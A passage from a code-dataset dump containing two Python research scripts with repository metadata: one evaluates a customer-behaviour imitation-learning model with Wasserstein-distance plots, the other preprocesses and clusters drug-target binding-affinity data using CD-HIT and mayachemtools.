"torchvision.datasets", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 60, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 60, "usage_type": "attribute"}, {"api_name": "torch.utils.data.random_split", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 77, "usage_type": "name"}]} +{"seq_id": "2553218503", "text": "import sys\nimport os, json, random\nfrom os.path import join\ntools_path = join(os.getcwd(), 'customer_behaviour/tools')\nsys.path.insert(1, tools_path)\nimport seaborn\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport policy_evaluation as pe\nfrom os.path import join\nfrom tools import save_plt_as_png\n# from evaluate_policy import Expert\nfrom scipy.cluster.hierarchy import fclusterdata\nfrom scipy.stats import wasserstein_distance\nfrom matplotlib.ticker import MaxNLocator\n\ndir_path = '' # Add a path to a directory where data is saved\n\nsample_length = 10000\nnormalize = True\nn_last_days = 7\nmax_n_purchases_per_n_last_days = 2\nsave_plots = True\nshow_plots = True\nshow_info = True\n\nclass Expert():\n def __init__(self, purchases, no_purchases, avg_purchase, avg_no_purchase, purchase_ratio=None):\n self.purchases = purchases\n self.no_purchases = no_purchases\n\n self.avg_purchase = avg_purchase\n self.avg_no_purchase = avg_no_purchase\n\n self.purchase_ratio = purchase_ratio\n\n self.calc_avg_dist_from_centroid()\n\n def calc_avg_dist_from_centroid(self):\n temp = []\n for d in self.purchases:\n temp.append(pe.get_wd(d, self.avg_purchase, normalize))\n self.avg_dist_purchase = np.mean(temp)\n\n temp = []\n for d in self.no_purchases:\n temp.append(pe.get_wd(d, self.avg_no_purchase, normalize))\n self.avg_dist_no_purchase = np.mean(temp)\n\n def calculate_pairwise_distances(self):\n self.distances_purchase = []\n for u, v in itertools.combinations(self.purchases, 2):\n wd = pe.get_wd(u, v, normalize)\n self.distances_purchase.append(wd)\n\n self.distances_no_purchase = []\n for u, v in itertools.combinations(self.no_purchases, 2):\n wd = pe.get_wd(u, v, normalize)\n self.distances_no_purchase.append(wd)\n\ndef eval_training(\n a_dir_path=None, \n a_sample_length=10000, \n a_normalize=True,\n a_n_last_days=7,\n a_max_n_purchases_per_n_last_days=2,\n a_save_plots=True,\n a_show_plots=False,\n a_show_info=True\n ):\n \n if a_dir_path:\n global dir_path, sample_length, normalize, n_last_days, max_n_purchases_per_n_last_days, save_plots, show_plots, show_info\n\n dir_path = a_dir_path\n sample_length = a_sample_length\n normalize = a_normalize\n n_last_days = a_n_last_days\n max_n_purchases_per_n_last_days = a_max_n_purchases_per_n_last_days\n save_plots = a_save_plots\n show_plots = a_show_plots\n show_info = a_show_info\n\n # Load arguments\n args_path = join(dir_path, 'args.txt')\n args = json.loads(open(args_path, 'r').read())\n\n os.makedirs(join(dir_path, 'figs'), exist_ok=True)\n if show_info: info = pe.get_info(args)\n ending_png = '_normalize.png' if normalize else '.png'\n\n # Create environment\n final_model_dir_path = next((d for d in [x[0] for x in os.walk(dir_path)] if d.endswith('finish')), None)\n env = pe.get_env_and_model(args, final_model_dir_path, sample_length, only_env=True)\n\n # Sample expert data\n expert_trajectories = env.generate_expert_trajectories(\n out_dir=None, \n n_demos_per_expert=1,\n n_expert_time_steps=sample_length\n )\n expert_states = np.array(expert_trajectories['states'])\n expert_actions = np.array(expert_trajectories['actions'])\n\n n_experts = 2 if (args['state_rep'] == 24 or args['state_rep'] == 31) else args['n_experts']\n experts = []\n for states, actions in zip(np.split(expert_states, n_experts), np.split(expert_actions, n_experts)): # Loop over experts\n purchases = []\n no_purchases = []\n\n for s, a in zip(states, actions): # Loop over demonstrations \n temp_purchase, temp_no_purchase, _ = pe.get_cond_distribs(\n [s], \n [a], \n n_last_days, \n max_n_purchases_per_n_last_days, \n normalize,\n case=args['state_rep']\n )\n purchases.append(temp_purchase)\n no_purchases.append(temp_no_purchase)\n\n avg_purchase, avg_no_purchase, _ = pe.get_cond_distribs(\n states, \n actions, \n n_last_days, \n max_n_purchases_per_n_last_days, \n normalize,\n case=args['state_rep']\n )\n\n experts.append(Expert(purchases, no_purchases, avg_purchase, avg_no_purchase))\n\n expert_purchase, expert_no_purchase, expert_n_shopping_days = pe.get_cond_distribs(\n expert_states, \n expert_actions, \n n_last_days, \n max_n_purchases_per_n_last_days, \n normalize,\n case=args['state_rep']\n )\n\n # Load agent data from models\n def get_key_from_path(path):\n temp = path.split('/')[-1]\n steps = int(temp.split('_')[0]) # training steps\n return steps\n\n model_dir_paths = [d for d in [x[0] for x in os.walk(dir_path)] if d.endswith('checkpoint')]\n model_dir_paths.sort(key=get_key_from_path)\n\n training_purchase = []\n training_no_purcahse = []\n\n # training_n_clusters_purchase = []\n # training_n_clusters_no_purchase = []\n\n for mdp in model_dir_paths:\n n_steps = get_key_from_path(mdp)\n \n env, model, obs_normalizer = pe.get_env_and_model(args, mdp, sample_length)\n\n # Sample from model\n agent_states = []\n agent_actions = []\n for i in range(n_experts):\n initial_state = random.choice(expert_states[i])\n temp_states, temp_actions = pe.sample_from_policy(env, model, obs_normalizer, initial_state=initial_state)\n agent_states.append(temp_states)\n agent_actions.append(temp_actions)\n\n ##### Comparison at population level #####\n\n agent_purchase, agent_no_purchase, agent_n_shopping_days = pe.get_cond_distribs(\n agent_states, \n agent_actions, \n n_last_days, \n max_n_purchases_per_n_last_days, \n normalize,\n case=args['state_rep']\n )\n\n # Calculate Wasserstein distances\n wd_purchase = pe.get_wd(expert_purchase, agent_purchase, normalize)\n wd_no_purchase = pe.get_wd(expert_no_purchase, agent_no_purchase, normalize)\n\n training_purchase.append(wd_purchase)\n training_no_purcahse.append(wd_no_purchase)\n \n n_sampled_days = sample_length * args['n_experts']\n agent_shopping_ratio = format(agent_n_shopping_days / n_sampled_days, '.3f')\n expert_shopping_ratio = format(expert_n_shopping_days / n_sampled_days, '.3f')\n expert_str = 'Expert (p.r.: ' + str(expert_shopping_ratio) + ')'\n agent_str = 'Agent (p.r.: ' + str(agent_shopping_ratio) + ')'\n\n fig, (ax1, ax2) = plt.subplots(1, 2)\n fig.suptitle('Number of traning steps: %d' % n_steps)\n\n # Plot (purchase)\n data = {expert_str: expert_purchase, agent_str: agent_purchase}\n pe.bar_plot(ax1, data, colors=None, total_width=0.7)\n ax1.set_xticks([], [])\n ax1.set_title('Purchase | EMD: {:.5f}'.format(wd_purchase))\n\n # Plot (no purchase)\n data = {expert_str: expert_no_purchase, agent_str: agent_no_purchase}\n pe.bar_plot(ax2, data, colors=None, total_width=0.7)\n ax2.set_xticks([], [])\n ax2.set_title('No purchase | EMD: {:.5f}'.format(wd_no_purchase))\n \n if show_info: fig.text(0.5, 0.025, info, ha='center')\n if save_plots: save_plt_as_png(fig, path=join(dir_path, 'figs', 'pop_' + str(n_steps) + ending_png))\n\n plt.close(fig)\n\n ##### Comparison at individual level #####\n\n all_distances_no_purchase = []\n all_agent_purchase = []\n all_agent_no_purchase = []\n \n for i in range(n_experts):\n agent_purchase, agent_no_purchase, agent_n_shopping_days = pe.get_cond_distribs(\n [agent_states[i]], \n [agent_actions[i]], \n n_last_days, \n max_n_purchases_per_n_last_days, \n normalize,\n case=args['state_rep']\n )\n\n all_agent_purchase.append(agent_purchase)\n all_agent_no_purchase.append(agent_no_purchase)\n\n temp = [pe.get_wd(e.avg_no_purchase, agent_no_purchase, normalize) for e in experts]\n temp.append(pe.get_wd(expert_no_purchase, agent_no_purchase, normalize))\n all_distances_no_purchase.append(temp)\n\n fig, ax = plt.subplots()\n fig.subplots_adjust(bottom=0.25)\n fig.subplots_adjust(left=0.25)\n fig.suptitle('Number of training steps: %d' % n_steps)\n\n columns = ['Customer {}'.format(i + 1) for i in range(n_experts)]\n columns.append('Avg. customer')\n index = ['Agent {}'.format(i + 1) for i in range(n_experts)]\n\n all_distances_no_purchase = pd.DataFrame(all_distances_no_purchase, columns=columns, index=index)\n seaborn.heatmap(all_distances_no_purchase, cmap='BuPu', ax=ax, linewidth=1, cbar_kws={'label': \"Earth mover's distance\"})\n fig.suptitle('Comparison at individual level')\n\n if show_info: fig.text(0.5, 0.025, info, ha='center')\n if save_plots: save_plt_as_png(fig, path=join(dir_path, 'figs', 'ind_' + str(n_steps) + ending_png))\n\n plt.close(fig)\n\n # Plot Wasserstein distance\n fig, (ax1, ax2) = plt.subplots(1, 2)\n fig.subplots_adjust(bottom=0.20)\n \n n_episodes = [int(get_key_from_path(x) / args['episode_length']) for x in model_dir_paths]\n \n ax1.plot(n_episodes, training_purchase)\n ax1.set_xlabel('Number of episodes')\n ax1.xaxis.set_tick_params(rotation=90)\n ax1.set_ylabel('EMD')\n ax1.set_title('Purchase')\n \n ax2.plot(n_episodes, training_no_purcahse)\n ax2.set_xlabel('Number of episodes')\n ax2.xaxis.set_tick_params(rotation=90)\n ax2.set_ylabel('EMD')\n ax2.set_title('No purchase')\n\n if show_info: fig.text(0.5, 0.025, info, ha='center')\n save_plt_as_png(fig, path=join(dir_path, 'figs', 'EMD_vs_episodes.png'))\n if not show_plots: plt.close(fig)\n\n if show_plots: plt.show()\n\nif __name__ == '__main__':\n eval_training()\n", "repo_name": "VictorGardi/CustomerBehaviour", "sub_path": "evaluate_training_sampling.py", "file_name": "evaluate_training_sampling.py", "file_ext": "py", "file_size_in_byte": 10236, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.path.join", "line_number": 4, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "policy_evaluation.get_wd", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 44, "usage_type": "call"}, {"api_name": "policy_evaluation.get_wd", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 49, "usage_type": "call"}, {"api_name": "policy_evaluation.get_wd", "line_number": 54, "usage_type": "call"}, {"api_name": "policy_evaluation.get_wd", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 87, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "policy_evaluation.get_info", "line_number": 90, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 94, "usage_type": "call"}, {"api_name": "policy_evaluation.get_env_and_model", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 108, "usage_type": "call"}, {"api_name": "policy_evaluation.get_cond_distribs", "line_number": 113, "usage_type": "call"}, {"api_name": "policy_evaluation.get_cond_distribs", "line_number": 124, "usage_type": "call"}, {"api_name": "policy_evaluation.get_cond_distribs", "line_number": 135, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 150, "usage_type": "call"}, {"api_name": "policy_evaluation.get_env_and_model", "line_number": 162, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 168, "usage_type": "call"}, {"api_name": "policy_evaluation.sample_from_policy", "line_number": 169, "usage_type": "call"}, {"api_name": "policy_evaluation.get_cond_distribs", "line_number": 175, "usage_type": "call"}, {"api_name": "policy_evaluation.get_wd", "line_number": 185, "usage_type": "call"}, {"api_name": "policy_evaluation.get_wd", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "policy_evaluation.bar_plot", "line_number": 202, "usage_type": "call"}, {"api_name": "policy_evaluation.bar_plot", "line_number": 208, "usage_type": "call"}, {"api_name": "tools.save_plt_as_png", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 215, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 215, "usage_type": "name"}, {"api_name": "policy_evaluation.get_cond_distribs", "line_number": 224, "usage_type": "call"}, {"api_name": "policy_evaluation.get_wd", "line_number": 236, "usage_type": "call"}, {"api_name": "policy_evaluation.get_wd", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 240, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 240, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 249, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 250, "usage_type": "call"}, {"api_name": "tools.save_plt_as_png", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 256, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 259, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 259, "usage_type": "name"}, {"api_name": "tools.save_plt_as_png", "line_number": 277, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 280, "usage_type": "name"}]} +{"seq_id": "15368483413", "text": "import pandas as pd\nimport math # to calculate better chunk sizes, and remove nans from frequency lists\nimport os # to remove intermediate files\nimport subprocess # to run CD-Hit and mayachemtools\nfrom tqdm import tqdm # shows progress of a few loops\nimport traceback # needed in update_interactions\nimport numpy as np\nfrom silx.io.dictdump import dicttoh5, h5todict # to save and load h5 files\nfrom ast import literal_eval\nimport matplotlib.pyplot as plt\nimport time # not needed for any function, only used to make the output nicer\nimport seaborn as sns\nimport random\nimport statistics\n\n\ndef raw_transformer(files, file_specifications, output, params):\n \"\"\"\n :param files: input files and path parsed from the config\n :param file_specifications: information about the columns of the input, parsed from the config\n :param output: intermediate output or final output file names, names specified in the config\n :param params: only target_length is needed here\n :return: no value is returned, but a clean_frame file is created which holds only the binding information\n that is needed later\n \"\"\"\n\n # takes a data_set, like the one from BindingDB and does a basic cleanup to it\n cols = [file_specifications['protein_IDs'], file_specifications['ligand_IDs'],\n file_specifications['protein_sequence'], file_specifications['ligand_SMILE'],\n file_specifications['interaction_value']]\n\n cleaned_frame = pd.DataFrame(columns=cols)\n\n chunksize = math.ceil(len(list(open(files['raw_file']))) / 5) # allows handeling large sets of input data\n for chunk in pd.read_csv(filepath_or_buffer=files['raw_file'], sep=file_specifications['separator'],\n chunksize=chunksize, usecols=cols, on_bad_lines='skip', engine='python'):\n chunk = chunk.dropna(how='any', subset=[file_specifications['protein_IDs']])\n chunk = chunk.dropna(how='any', subset=[file_specifications['ligand_IDs']])\n if params['bad_characters'] != \"\":\n chunk = chunk[~chunk[file_specifications['ligand_SMILE']].str.contains('|'.join(literal_eval(\n params['bad_characters'])))]\n if params['drug_length'] != \"\":\n chunk = chunk[chunk[file_specifications['ligand_SMILE']].apply(len) <= int(params['drug_length'])]\n if params['target_length'] != \"\":\n chunk = chunk[chunk[file_specifications['protein_sequence']].apply(len) <= int(params['target_length'])]\n chunk[file_specifications['interaction_value']] = pd.to_numeric(chunk[file_specifications['interaction_value']],\n errors='coerce')\n chunk = chunk.dropna(how='any', subset=[file_specifications['interaction_value']])\n chunk = chunk.loc[~(chunk[file_specifications['interaction_value']] == 0)]\n cleaned_frame = pd.concat([cleaned_frame, chunk])\n\n cleaned_frame[file_specifications['ligand_IDs']] = cleaned_frame[file_specifications['ligand_IDs']].astype(int)\n cleaned_frame.to_csv(files['path'] + output['cleaned_frame'], sep='\\t')\n\n return 0\n\n\ndef create_raw_files(files, file_specifications, output):\n \"\"\"\n :param files: input files and path parsed from the config\n :param file_specifications: information about the columns of the input, parsed from the config\n :param output: intermediate output or final output file names, names specified in the config\n :return: no value is returned, creates the drug, target and interaction files, creates affinity value plot\n \"\"\"\n f = open(files['path'] + output['target_file'], 'w')\n d = open('temp_drugs.txt', 'w')\n file = pd.read_csv(filepath_or_buffer=(files['path'] + output['cleaned_frame']), sep='\\t', engine='python')\n\n for index, row in file.iterrows():\n\n f.write(\">\" + row[file_specifications['protein_IDs']] + \"\\n\")\n i = 0\n while i < len(row[file_specifications['protein_sequence']]):\n if i % 40 != 39:\n f.write(row[file_specifications['protein_sequence']][i])\n i += 1\n else:\n f.write(row[file_specifications['protein_sequence']][i])\n f.write(\"\\n\")\n i += 1\n if i % 40 != 0:\n f.write(\"\\n\")\n\n d.write(row[file_specifications['ligand_SMILE']] + \" \" + str(row[file_specifications['ligand_IDs']]) + \"\\n\")\n\n # ensures the output is a csv file\n # all duplicate lines are removed here from the drugs as well\n temp_drugs = pd.read_csv('temp_drugs.txt', sep=' ').drop_duplicates(keep='first').reset_index()\n temp_drugs = temp_drugs.iloc[:, 1:]\n temp_drugs.to_csv(files['path'] + output['drug_file'], sep=' ', index=False)\n os.remove('temp_drugs.txt')\n\n interactions = file.pivot_table(index=file_specifications['ligand_IDs'], columns=file_specifications['protein_IDs'],\n values=file_specifications['interaction_value'], aggfunc='sum')\n\n interactions.to_csv(files['path'] + output['interaction_file'], sep='\\t')\n\n f.close()\n d.close()\n\n return 0\n\n\ndef create_unclustered_files(files, output):\n temp_drugs = pd.read_csv(files['path'] + output['drug_file'], sep=' ', names=['SMILES', 'Name'])\n temp_drugs = temp_drugs[['Name', 'SMILES']]\n temp_drugs.to_csv(files['path'] + output['unclustered_drug_file'], sep='\\t', index=False)\n\n '''\n interactions = pd.read_csv(files['path'] + output['interaction_file'], sep='\\t', header=0, index_col=0)\n # rows are fixed with chemVAE, since it kicks out some of them\n # affinity_rows = interactions.index.values.tolist()\n # print(len(affinity_rows))\n affinity_cols = interactions.columns.tolist()\n print(affinity_cols[0])\n print(len(affinity_cols))\n\n with open(files['path'] + output['target_file']) as file:\n lines = [line.rstrip()[1:] for line in file if line[0] == \">\"]\n lines = (list(set(lines)))\n affinity_cols.sort()\n lines.sort()\n print(affinity_cols == lines)\n '''\n\n return 0\n\n\ndef kd_to_pkd(files, output):\n \"\"\"\n :param files: input files and path parsed from the config\n :param output: intermediate output or final output file names, names specified in the config\n :return: no value is returned, transforms Kd affinity file into pKd and saves it to a separate file\n \"\"\"\n interactions = pd.read_csv(files['path'] + output['interaction_file'], sep='\\t', header=0, index_col=0)\n interactions = interactions.apply(lambda x: -np.log10(x / 1e9))\n interactions.to_csv(files['path'] + output['interaction_file_pKd'], sep='\\t')\n\n return 0\n\n\ndef save_affinity_values_plot(files, output, before_after, create_plots):\n \"\"\"\n :param files: input files and path parsed from the config\n :param output: intermediate output or final output file names, names specified in the config\n :param before_after: either \"before\" or \"after\" the clustering process\n :param create_plots: True if values have been transformed from Kd to pKd, else False\n :return: no value is returned, creates affinity value plot\n \"\"\"\n if before_after == \"before\":\n interactions = pd.read_csv(files['path'] + output['interaction_file_pKd'], sep='\\t', header=0, index_col=0)\n elif before_after == \"after\":\n interactions = pd.read_csv(files['path'] + output['cleaned_interaction_file'], sep=',', header=0, index_col=0)\n else:\n raise ValueError(\"Wrong input: before_after can only either be a string value before or after.\")\n\n flat_interactions = [val for sublist in interactions.values.tolist() for val in sublist]\n flat_interactions = [x for x in flat_interactions if math.isfinite(x)]\n\n if create_plots:\n plt.hist(flat_interactions, bins=(math.ceil(max(flat_interactions)) + math.ceil(min(flat_interactions))))\n plt.xlabel(\"pKd Values\")\n plt.ylabel(\"Frequencies\")\n\n if before_after == \"before\":\n with open(files['path'] + output['binding_affinity_values_before'], \"w\") as g:\n for s in flat_interactions:\n g.write(str(s) + \" \")\n g.write(\"\\n\")\n\n if create_plots:\n plt.title(\"pKd Values before clustering.\")\n plt.savefig(files['path'] + output['affinity_plot_before_clustering'])\n plt.clf()\n\n elif before_after == \"after\":\n with open(files['path'] + output['binding_affinity_values_after'], \"w\") as g:\n for s in flat_interactions:\n g.write(str(s) + \" \")\n g.write(\"\\n\")\n\n if create_plots:\n plt.title(\"pKd Values after clustering.\")\n plt.savefig(files['path'] + output['affinity_plot_after_clustering'])\n plt.clf()\n\n else:\n pass\n\n return 0\n\n\ndef cluster_drugs(files, output, params):\n \"\"\"\n :param files: for the file path as specified in the config\n :param output: intermediate output or final output file names, names specified in the config\n :param params: location of the mayachemtools folder and drug similarity parameter\n :return: no value is returned, creates the clustered drugs file\n \"\"\"\n # RDKit offers the tools necessary to cluster SMILES.\n # For this part you need mayachemtools which uses RDKit and you can find it here:\n # http://www.mayachemtools.org/docs/scripts/html/index.html\n\n clustering_process = params['mayachemtools_path'] + ' --butinaSimilarityCutoff ' + params['smile_similarity'] + \\\n ' --butinaReordering=yes ' + '-i ' + files['path'] + output['drug_file'] + ' -o ' + \\\n files['path'] + output['clustered_drugs']\n subprocess.call(clustering_process, shell=True)\n return 0\n\n\ndef cluster_targets(files, output, params):\n \"\"\"\n :param files: for the file path as specified in the config\n :param output: intermediate output or final output file names, names specified in the config\n :param params: target similarity parameter\n :return: no value is returned, creates the clustered target file\n \"\"\"\n # running CD-hit\n\n seq_sim = float(params['sequence_similarity'])\n if seq_sim < 0.4:\n raise ValueError('Threshold for sequence similarity needs to be at least 0.4.')\n\n sim_dict = {0.5: 2, 0.6: 3, 0.7: 4} # CD-Hit suggests to use these word sizes\n word_size = 5\n for i in sim_dict:\n if i > seq_sim:\n word_size = sim_dict[i]\n break\n\n outside_python = \"cd-hit -i \" + files['path'] + output['target_file'] + \" -o \" + \\\n files['path'] + output['target_cluster'] + \\\n \" -c \" + params['sequence_similarity'] + \" -n \" + str(word_size)\n subprocess.run(outside_python, shell=True)\n outside_python = \"clstr2txt.pl \" + files['path'] + output['target_cluster'] + \".clstr > \" + \\\n files['path'] + output['target_representatives']\n subprocess.run(outside_python, shell=True)\n\n # removing duplicate rows from the target_representative file\n temp_target_reps = pd.read_csv(files['path'] + output['target_representatives'], sep='\\t')\n temp_target_reps = temp_target_reps.drop_duplicates(subset='id', keep=\"first\")\n temp_target_reps.to_csv(files['path'] + output['target_representatives'], sep='\\t', index=False)\n\n return 0\n\n\ndef make_dict_mayachemtools(data):\n \"\"\"\n :param data: clustered drugs created by mayachemtools\n :return: a list of row names, a dictionary of all drugs as keys and the representatives as values\n \"\"\"\n rows = [] # drugs are always the rows\n out_dict = {}\n last_cluster = data.iat[0, 2] # first cluster id\n clusterrep = data.iat[0, 1] # by mayechemtools logic the cluster center comes first\n for item in tqdm(range(data.shape[0])):\n current_cluster = data.iat[item, 2]\n if last_cluster == current_cluster:\n out_dict.update({data.iat[item, 1]: clusterrep})\n else:\n clusterrep = data.iat[item, 1]\n rows += [clusterrep]\n last_cluster = current_cluster\n out_dict.update({clusterrep: clusterrep})\n\n return rows, out_dict\n\n\ndef make_dict_cd_hit(data):\n \"\"\"\n :param data: target representatives created by CD-Hit\n :return: a list of column names, a dictionary of all targets as keys and the representatives as values\n \"\"\"\n cols = [] # targets are always the columns\n out_dict = {}\n clusterrep = \"No Target\"\n for item in tqdm(range(data.shape[0])):\n if data.iat[item, 4] == 1:\n clusterrep = data.iat[item, 0]\n cols += [clusterrep]\n out_dict.update({clusterrep: clusterrep})\n else:\n out_dict.update({data.iat[item, 0]: clusterrep})\n\n return cols, out_dict\n\n\ndef drop_unwanted_troublemakers(col_names, row_names, files, output):\n \"\"\"\n :param col_names: column names returned from make_dict_cd_hit\n :param row_names: row names returned from make_dict_mayachemtools\n :param files: for the file path as specified in the config\n :param output: intermediate output or final output file names, names specified in the config\n :type: int, list\n :return: two frames required for the creation of the affinity matrix, a list of drugs that cause errors, also\n creates a new interaction file needed in update interactions\n \"\"\"\n frame_a = pd.DataFrame(0.0, columns=col_names, index=row_names, dtype=float)\n frame_b = pd.DataFrame(0.0, columns=col_names, index=row_names, dtype=float)\n\n # First, removing compounds that are tautomeres, but RDKit didn't cluster them properly.\n compounds_appearing_more_than_once = []\n for i, _ in frame_a.iterrows():\n if type(frame_a.at[i, frame_a.columns[0]]) == pd.core.series.Series:\n compounds_appearing_more_than_once += [i]\n compounds_appearing_more_than_once = list(set(compounds_appearing_more_than_once))\n intermediate_drugs = pd.read_csv(files['path'] + output['clustered_drugs'], sep=',', header=0, index_col=1)\n interaction_file = pd.read_csv(files['path'] + output['interaction_file_pKd'], sep='\\t', header=0, index_col=0)\n frame_a = frame_a.drop(compounds_appearing_more_than_once)\n frame_b = frame_b.drop(compounds_appearing_more_than_once)\n intermediate_drugs = intermediate_drugs.drop(compounds_appearing_more_than_once)\n interaction_file = interaction_file.drop(compounds_appearing_more_than_once)\n interaction_file.to_csv(files['path'] + output['intermediate_interaction_file'], sep='\\t')\n\n intermediate_drugs.to_csv(files['path'] + output['intermediate_drug_representatives'], sep='\\t')\n # TODO: If during the prediction there are compounds missing, the issue is very likely in the following line.\n cleaned_drugs = intermediate_drugs.drop_duplicates(subset=['ClusterNumber'], keep='first')\n cleaned_drugs.to_csv(files['path'] + output['drug_representatives'], sep='\\t')\n\n return frame_a, frame_b, compounds_appearing_more_than_once\n\n\ndef update_interactions(frame_a, frame_b, dict_of_drugs, dict_of_targets, files, output):\n \"\"\"\n :param frame_a: frame created by drop_unwanted_troublemakers, holds the sum of the interaction values for\n one cluster\n :param frame_b: frame created by drop_unwanted_troublemakers, holds the number of the interaction values for\n one cluster\n :param dict_of_drugs: dictionary of drugs created by make_dict_mayachemtools\n :param dict_of_targets: dictionary of targets created by make_dict_cd_hit\n :param files: for the file path as specified in the config\n :param output: intermediate output or final output file names, names specified in the config\n :return: drugs and compounds that cause errors for saving, creates the final interaction file\n \"\"\"\n data = pd.read_csv(files['path'] + output['intermediate_interaction_file'], sep='\\t', header=0, index_col=0)\n\n key_errors = []\n boxplot_dict = {} # to create some visualizations of the data\n\n print('Updating Interactions Part 1/2. Done by: ' + str(data.shape[1]))\n time.sleep(1)\n for name, _ in tqdm(data.iteritems()):\n for index, _ in data.iterrows():\n if data.at[index, name] > 0:\n try:\n frame_a.at[dict_of_drugs[index], dict_of_targets[name]] += data.at[index, name]\n frame_b.at[dict_of_drugs[index], dict_of_targets[name]] += 1\n box_key = str(dict_of_drugs[index]) + '_' + str(dict_of_targets[name])\n if box_key in boxplot_dict:\n boxplot_dict[box_key] += [data.at[index, name]]\n else:\n boxplot_dict[box_key] = [data.at[index, name]]\n except (Exception,): # Probably not 100% elegant\n error_msg = traceback.format_exc()\n key_errors += [error_msg.split('\\n')[-2][10:]] # saves faulty keys\n print('Updating Interactions Part 2/2. Done by: ' + str(frame_a.shape[1]))\n time.sleep(1)\n for name, _ in tqdm(frame_a.iteritems()):\n for index, _ in frame_a.iterrows():\n if frame_a.at[index, name] != 0:\n frame_a.at[index, name] = frame_a.at[index, name] / frame_b.at[index, name]\n else:\n frame_a.at[index, name] = np.nan\n dicttoh5(boxplot_dict, h5file=files['path'] + output['boxplot_dict'], h5path=files['path'], mode='w',\n overwrite_data=None, create_dataset_args=None, update_mode=None)\n\n frame_a.to_csv(files['path'] + output['cleaned_interaction_file'], sep=',')\n\n return key_errors\n\n\ndef save_problematic_drugs_targets(compounds_appearing_more_than_once, key_errors, files, output):\n \"\"\"\n :param compounds_appearing_more_than_once: output of drop_unwanted_troublemakers\n :param key_errors: output of update_interactions\n :param files: for the file path as specified in the config\n :param output: intermediate output or final output file names, names specified in the config\n :return: saves a file with drugs and compounds that caused errors\n \"\"\"\n lines_to_write = [\"Drug ids of tautomeres, that RDKit doesn't put in the same cluster:\\n\"]\n for tautomere in compounds_appearing_more_than_once:\n lines_to_write += [str(tautomere) + '\\n']\n lines_to_write += [\"\\nDrug and Target ids that are not in any cluster:\\n\"]\n key_errors = list(set(key_errors))\n for key_error in key_errors:\n lines_to_write += [key_error + '\\n']\n key_error_file = open(files['path'] + output['key_errors'], 'w')\n key_error_file.writelines(lines_to_write)\n key_error_file.close()\n\n return 0\n\n\ndef boxplot_creator(file, boxplot_out_file, hist_out_file, file_specifications, min_bin_size, sample_size):\n \"\"\"\n :param file: boxplot data file\n :param boxplot_out_file: boxplot image file\n :param hist_out_file: bar chart image file\n :param file_specifications: for compound and protein ids\n :param min_bin_size: min amount of drug target pairs that a cluster needs to have\n :param sample_size: number of randomly drawn drug target clusters/plots that will be created\n :return: saves a boxplot png and a hist png\n \"\"\"\n\n raw_data = h5todict(file)\n # This step is needed, since silx saves a dict in a separate\n # dict for every folder down the path the file is saved.\n while len(raw_data) == 1:\n raw_data = raw_data[list(raw_data.keys())[0]]\n\n dict_with_many_values = {}\n\n for key in raw_data.keys():\n # Still deciding on which bins have enough data for the boxplot.\n # The integer here decides how many values have to be at least present to be considered for the boxplot.\n if len(raw_data[key]) >= min_bin_size:\n dict_with_many_values[key] = raw_data[key]\n\n keys = random.sample(list(dict_with_many_values), sample_size)\n values = [dict_with_many_values[k].tolist() for k in keys]\n\n means = [statistics.mean(x) for x in values]\n keys = [x for _, x in sorted(zip(means, 